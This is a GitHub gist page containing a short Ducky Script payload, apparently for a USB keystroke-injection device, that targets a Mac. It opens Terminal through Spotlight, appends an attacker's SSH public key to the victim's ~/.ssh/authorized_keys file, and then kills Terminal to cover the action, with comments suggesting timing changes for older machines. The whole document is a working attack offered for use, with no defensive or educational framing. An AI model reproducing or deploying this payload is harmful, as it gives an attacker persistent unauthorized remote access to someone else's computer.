Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JonnyBanana/76ab2877829f39c188abf2f2f5704e3a to your computer and use it in GitHub Desktop.
Save JonnyBanana/76ab2877829f39c188abf2f2f5704e3a to your computer and use it in GitHub Desktop.
REM This script adds a ssh public key to the authorized_keys file on a target's mac.
DELAY 1000
COMMAND SPACE
DELAY 500
STRING Terminal
DELAY 500
ENTER
DELAY 800
STRING echo 'RSA_PUB_ID' >> ~/.ssh/authorized_keys
ENTER
DELAY 1000
STRING killall Terminal
ENTER
REM Note: you may shorten the times if you think they are too slow. I made them to accomodate older macs that can't get around very fast.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment